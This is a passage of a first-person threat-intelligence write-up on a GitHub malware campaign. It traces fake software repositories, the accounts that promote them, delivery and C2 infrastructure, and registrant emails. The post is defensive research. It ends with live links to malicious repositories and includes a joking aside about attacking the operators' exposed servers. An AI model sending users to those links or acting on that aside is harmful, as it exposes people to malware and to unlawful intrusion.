Identified scheduled tasks          → removed
Known C2 connection                 → no longer active

From the second, the incident was still very much alive:

Browser sessions / cookies → potentially reusable
Application tokens         → potentially reusable
Locally stored credentials → potentially exposed
Trusted-device state       → potentially reusable

Deleting RuntimeBroker.exe could invalidate none of those things.

There was also an important asymmetry in the feedback. Removing persistence produces immediate evidence. Delete a malicious task, reboot, and observe that the executable does not return. Kill a C2 connection and watch it disappear. Each action supplies a visible indication that part of the problem has been solved. Credential remediation is different. Revoking a stolen session usually produces no satisfying confirmation that the action was necessary. Rotating a token that may or may not have been collected produces no visible success. Logging every service out everywhere can look almost identical whether the attacker possessed those sessions or not.

And when that work is missed, the failure may remain invisible for some time. The consequence can appear days later, on another platform, in a form that initially looks unrelated to the original compromise. That is exactly what happened here. The incident eventually made more sense as:

Malicious repository → PowerShell delivery → RAT execution
        ↓
Authentication material collected
        ↓
Host persistence removed
        ↓
Stolen authentication material remains valid elsewhere
        ↓
Access distributed or consumed downstream
        ↓
Different services abused over time

My red-team background was not the wrong tool. In several parts of this incident, it was a useful one. Thinking like the attacker helped me identify likely persistence, evaluate implementation quality, and contain the active foothold quickly. The mistake was allowing that same mental model to define when the incident was over. Offensive thinking is good at asking what an adversary can still do. Recovery must also ask what the adversary no longer needs to do because the damage has already left the endpoint. That was the lesson I had to learn from the wrong side of the engagement.

By that point, the incident had also produced something useful: samples, infrastructure, repository history, and a set of questions that no longer stopped at my computer.

And that became the starting point for Part Two: moving from incident response into threat intelligence.

Following the Operation Beyond the Endpoint

Part One ended at a point I would have preferred to reach without the practical demonstration: removing the malware did not revoke the access it had already exposed. The host could stop running the attacker's code while somebody else continued spending the results.

Once the immediate recovery work was under control, I could finally return to the questions that had been less urgent while my accounts were falling over. Where had that repository come from? Was it one disposable lure, or part of something larger? And why had the first executable revealed plenty of remote-access machinery but so little obvious information-stealing logic?

I had not suddenly acquired the attacker's panel, database, or internal chat history. I had a preserved executable, a few repository and platform screenshots, some disappearing web pages, and an increasingly inconvenient collection of unanswered questions.That turned out to be enough to make a start.

The investigation below follows how those fragments accumulated. The important moments were not just the discoveries. They were the points where a new artifact forced me to revisit an earlier interpretation—including several interpretations I had been rather pleased with at the time.

The First Puzzle: The Malicious Repository

The initial lure was MillipedeLoad/Adobe-Acrobat-Pro. In Part One, the useful question had been what its installation command executed. Now I wanted to understand why the repository looked credible enough for me to execute it in the first place, and whether the surrounding GitHub activity was genuine. The screenshot I had preserved became more useful on this second visit. It showed 303 stars and 17 forks, but only five contributions in the last year on the profile. The apparent project popularity and the visible development activity were telling very different stories.

image.png

A popular repository with few commits is not automatically malicious. A mature project might be mirrored, imported, or maintained elsewhere. Here, however, that explanation had to coexist with a README that led into a malicious PowerShell chain and a repository whose actual source content did very little to support its advertised purpose. I therefore stopped treating the star count as an endorsement and started treating it as another artifact to investigate.

There was one immediate problem: some of the relevant accounts and repositories had already disappeared. The convenient version of the investigation—open the profile, inspect the files, follow the links—was no longer available everywhere.

Deleted pages and the evidence around them

I worked outward from the objects that survived: cached search results, surviving forks, Git history, and public-event archives such as Ecosyste.ms Timeline, which presents GH Archive data. Web archives were another place to look, but a query to an archive was not itself a recovered snapshot. I kept the source of each recovered fact separate

This distinction sounds administrative until it prevents a wrong conclusion. A search result can preserve a repository name or part of an installation command. It cannot, by itself, tell me what every file in that repository contained. A surviving fork can retain commits and blobs after the original path goes away. A public WatchEvent can establish that a particular account starred a named repository, even if the repository content is gone. None of those records substitutes for all the others.

The practical result was that “404” became the beginning of another search, rather than the end of the evidence trail. The original page could vanish while its commits, forks, references, and interactions remained scattered around it.

The product names changed; the construction did not

The first useful cluster covered surprisingly unrelated products:

Repository Advertised theme Recovered connection
MillipedeLoad/Adobe-Acrobat-Pro PDF software Initial incident lure; parent history preserved by surviving forks
GulfMouseVice/crypto-miner-gpu-cpu-hashrate Cryptocurrency mining shells[.]su delivery instructions and a similar repository lifecycle
Binaryunenhance/instagram-liker-bot-auto-like-software-download Instagram automation Parallel instructions using gitbase[.]su
HyperIllusionistTap/Whale-Tracker-Analytics Market analytics Retained same-template delivery observations; less complete surviving Git evidence

The common elements were more useful than the marketing: the /powershell/Genesis.ps1 path, closely related remote-execution instructions, keyword-heavy READMEs, very small trees, and source files that did not appear to implement the promised applications. The early snapshots recorded roughly 3–4 KB for several of these repositories despite hundreds of stars.

A particularly revealing detail was the language badge. One repository had temp.cpp, another temp.py, and another temp.cs. At a glance, that suggested C++, Python, and C# projects. Looking inside exposed the same content:

image.png

image.png

image.png

The retained Git blob identifier was identical:

f7aa7c960f15059c892e4558d44ad9ac70f46cba

Three apparent implementation languages. One instruction to go somewhere else. The badge had become part of the packaging rather than evidence of software development. It was an inexpensive way to make a README-driven delivery page look more like a normal code repository.

The exact blob match proved content reuse, not authorship. A short placeholder is easy to copy and not distinctive enough to carry a campaign attribution by itself. Its significance came from the surrounding agreement: the same delivery path, the same thin-code construction, similar README instructions, and the timing of the promotion that followed.

The age was real; the apparent history was misleading

Commit history added another useful correction. A repository could have existed for months without having contained anything resembling its current advertised software. The retained GulfMouseVice history began on March 31 with a README consisting of the one-line heading # fljghchq. On August 16, the README was replaced with a much more substantial miner promotion containing the Genesis delivery command. A decorative Python file followed minutes later.

The Adobe lure had a comparable sequence: an old minimal README, followed by a malicious rewrite and a placeholder source file shortly before the incident. The Instagram branch carried the parallel gitbase[.]su instructions earlier in August.

Recorded change Time in the retained commit data Why I kept it
Adobe malicious README August 16, 18:12:06 UTC Content change that made the old repository dangerous
Adobe temp.cpp placeholder August 16, 18:14:34 UTC Cosmetic source-language contribution immediately afterward
Miner malicious README August 16, 19:45:40 UTC A similar conversion about 94 minutes after the Adobe change
Miner temp.py placeholder August 16, 19:48:28 UTC The same short delay before adding the decorative source file

These were Git metadata times, not an authenticated record of the operator's physical activity. I also did not interpret the +0200 and +0300 author offsets as proof of location. Their useful contribution was the sequence of changes and the similarity between repository lifecycles.

For a prospective victim, however, the distinction mattered enormously. “This repository has existed since March” sounds reassuring. “This repository contained a junk heading until a few hours before the malicious installation instructions appeared” sounds rather different. I had been looking at the age of the container. The relevant event was when somebody changed what was inside it.

The fork wave

The forks were useful in two ways. First, they preserved evidence. Surviving Adobe forks under dev-Warrior65621 and zx-King7147447733lion, and miner forks under accounts such as mad-Plasma-Mind9, retained parent relationships and Git history after the original pages became unavailable. Second, their timing contributed to the promotional picture. Representative forks in the retained records appeared approximately 12, 21, and 33 minutes after the corresponding weaponization or finalizing changes. Those intervals belonged to specific examples; they were not a measured distribution over every fork in the campaign.

The account names often followed a familiar construction: words combined with numbers, then a technical-looking suffix such as -hub-bin-cli-pwn, or -cfg. After enough examples, they started to look less like individual usernames and more like output from a naming routine. But naming style was still only a clue. Ordinary users also choose odd names, and ordinary users also fork suspicious projects. The stronger evidence was repeated behavior: similar accounts appearing in tight windows around newly weaponized, thinly populated repositories using the same delivery template. That was the point at which a repository list stopped being an adequate way to organize the investigation.

Following the accounts instead of only the links

I built the next pass around alternating pivots:

Repository → star/fork actors → those actors' other repositories
           → repository owners → more recorded interactions

The graph needed typed edges. An owns edge described ownership as recorded by the platform. A starred edge described a public event. A fork edge described lineage. I did not let any of them quietly turn into “is an accomplice.”

One historical repository became a particularly useful seed:

gitlerzov1488gitler-cmd/RUST-2026-A-I-M

The owner name was unusual enough to warrant a separate investigation, which I return to below. For the graph, its immediate value was the surrounding event history.

The retained Timeline record showed an owner self-star on January 7, 2026, at 17:48, followed by ten other accounts starring the repository in the displayed 19:41–19:44 window. I preserved those as page-displayed times because the timezone of that presentation had not been independently verified.

Three minutes is not a great deal of time for ten independent people to discover the same obscure repository—especially when several of them also appeared around the same other projects in those same minutes.

The ten-account seed cohort retained in the event graph

fastjack73leontrq       finklousen59upy
pripak-minibearqie      greyjulianbell491vdf
stne-100ye7             funnyway9m51
bambino66lamb4bn        urch-arrow376
laner-mrgood306         brom-100cmh

These are event actors, not ten confirmed members of one criminal organization. The dataset preserves the interaction being asserted for each one.

Two optimization projects under glas2000wsz shared four members of this cohort. Other repeated targets involved Rust and Valorant cheats, Counter-Strike skin changers, an authenticator, and performance utilities. The recurring accounts were more informative than any one project's alarming title.

The activity also repeated over time. A January 19 wave involved cheat and executor themes. On January 28, two seed stargazers promoted the same authenticator within a 13-minute window. On February 6, one account starred several game/performance projects in roughly a minute. On February 8, a market-analysis assistant appeared alongside another game-related target.

This was not simply “people who like games sometimes star game repositories.” It was a small set of accounts repeatedly supplying similar bursts of attention to otherwise unrelated software themes.

image.png


The first bounded pass contained 47 nodes and 67 edges: 28 account nodes, 19 repositories, 48 star relationships, and 19 ownership relationships. The second pass expanded to 125 nodes and 150 edges. The larger number needs explaining rather than advertising. It includes 54 account nodes, 45 repositories, 14 evidence nodes, six skill variants, and six other typed objects. The 25 sampled current forks are already included in the repository count. Evidence documents are not people. Context-only forks are not confirmed malware projects

image.png

A branch that reached independently documented malicious behavior

One seed stargazer, fastjack73leontrq, led to the historical repository path krajekisbtc/PolymarketBTC15mAssistant. This was more useful than another suspiciously named cheat repository because the publisher label also appeared in independent security research.

Unit 42 documented polymarketbtcpolymarketbtcassistant, and related skills published by krajekisbtc that exfiltrated cryptocurrency private keys through the Telegram Bot API. Its report described that as a distinct channel rather than part of the shared dropper infrastructure discussed elsewhere in the same research. 

image.png

The connection I could support was therefore specific:

Seed repository
    ← starred by fastjack73leontrq
         → also starred historical krajekisbtc repository
              → publisher label in independently documented malicious skills

That strengthened the case for an abusive promotion ecosystem. It did not make the graph an organization chart. The shared account might belong to the operator, a paid promotion service, an affiliate, or an account pool used by several customers.

A second branch, through greyjulianbell491vdf, reached moneycash-10094n/rust-fps-boost. Its preserved presentation instructed users to run an administrator-level “FPS boost” executable. The later sample review recorded a roughly 10 MB PE whose normal section data ended much earlier, leaving a large structured overlay, together with decryption and in-memory execution-related behavior. That review assessed it as a malicious loader rather than the advertised optimizer. 

image.png

The initial graph had correctly marked this as a high-risk lure before the sample was reviewed. The later assessment did not retroactively turn the original star event into proof of malware. It added a separate content-based finding to a relationship already recorded. That sequence was exactly what I wanted from the graph: a way to reach artifacts worth examining, not a machine for assigning guilt by proximity.

IP Addresses, Domains, and What the Infrastructure Gave Away

The host-side investigation had already exposed more than one server role. shells[.]su belonged to the delivery and screenshot-collection layer. 145.63.134[.]94 appeared in the native payload's runtime communication. The parallel repository templates introduced gitbase[.]su.

image.png

image.png

I kept those roles separate instead of flattening everything into one column labeled C2. Otherwise, a domain used to deliver a loader, a server receiving a screenshot, and a destination promoted by a stolen social account could all appear equally close to the operator when they were not.

The historical records around 192.162.199[.]184 were particularly useful. The investigation material associated it with shells[.]su and with earlier domains including verificator[.]cc. The later network report also recorded genesis-hub[.]cc in that hosting cluster. These observations supplied continuity around infrastructure whose visible front could change. Please refer to https://phishdestroy.io/domain/verificator.cc/, https://gridinsoft.com/online-virus-scanner/url/verificator-cc, https://phishdestroy.io/domain/genesis-hub.cc/, https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc for details.

image.png

They also imposed a limit. An IP can host different domains at different times, and shared or reused infrastructure does not automatically establish the same tenant. The useful unit was the host, service, domain, path, and observation time together

The retained domain research placed verificator[.]cc registration on July 27 and genesis-hub[.]cc on July 30, with historical association to the same .184 server. shells[.]su followed on August 13; the lure repositories were weaponized shortly afterward. The value of the older threat-intelligence records was not simply that a reputation service had drawn a red warning icon. It was that the host already had relevant malicious-hosting context before the particular lure I had executed appeared.

image.png

Unnecessarily informative Windows Server

As we already knew that IP 145.63.134[.]94 is the C2 server, 192.162.199.184 is the delivery server.  However, both of them exposed excessive service to the Internet, rather than implementing IP whitelisting, local listening, or tunneled access. Shodan captured the snapshot of them: https://www.shodan.io/host/192.162.199.184, https://www.shodan.io/host/145.63.134.94.

image.png

image.png

While exposing ports such as 135, 445, and 3389 does not automatically make a system easy to exploit, I would hardly call it great OPSEC either. Some of these services are rather verbose, leaking fingerprints useful to threat hunters—and perhaps breadcrumbs for other attackers looking at the same infrastructure. There is a certain irony in that: I am a red teamer, and I still got compromised. They are attackers too. That does not mean nobody gets to attack them. lol

The Handle That Did Not Blend In

The shells[.]su record retained a registry contact:

krassavchik13370@gmail[.]com

The recorded registration time was August 13, 2026, 19:17:32 UTC. The gitbase[.]su investigation led to another reported contact:

gitlerzov1488gitler@gmail[.]com

A contact string also does not prove a legal identity. It can be a burner, a compromised account, misleading metadata, or something deliberately planted. Still, this one differed sharply from the apparently generated GitHub names around it. I had already encountered an almost exact version of it in a historical repository owner:

WHOIS contact local part:  gitlerzov1488gitler
Historical GitHub owner:  gitlerzov1488gitler-cmd

image.png

image.png

Well, it appears that this one stands out from all other randomly-looking handles. The core string was gitlerzov1488. The full email local part repeated gitler at the end, while the GitHub owner added -cmd. It was specific enough to search in smaller pieces and exact combinations without treating every account containing gitler or 1488 as a hit. 

“Gitler” is a reference to Hitler, while “1488” is commonly associated with racist and white-supremacist ideology. Given the level of moderation across online communities, as well as the public backlash and embarrassment that can come with expressing such views too openly, I would not expect there to be a large number of surviving handles built around those terms—though certainly not just a handful either. The combination gitler1488 should be considerably rarer, perhaps appearing only a few times, but probably not uniquely so, since it is still a fairly obvious combination within a certain subculture. The addition of ZOV, however, changes the picture significantly. It acts as a much more discriminating token, making the compound handle exceptionally rare and plausibly unique in practice. My question was whether the operational identifier overlapped with a longer-lived public persona. That would be an interesting OPSEC observation even without a real name, address, nationality, or employer. 

Alive Repositories At the Time of Writing:

https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download

https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro

https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate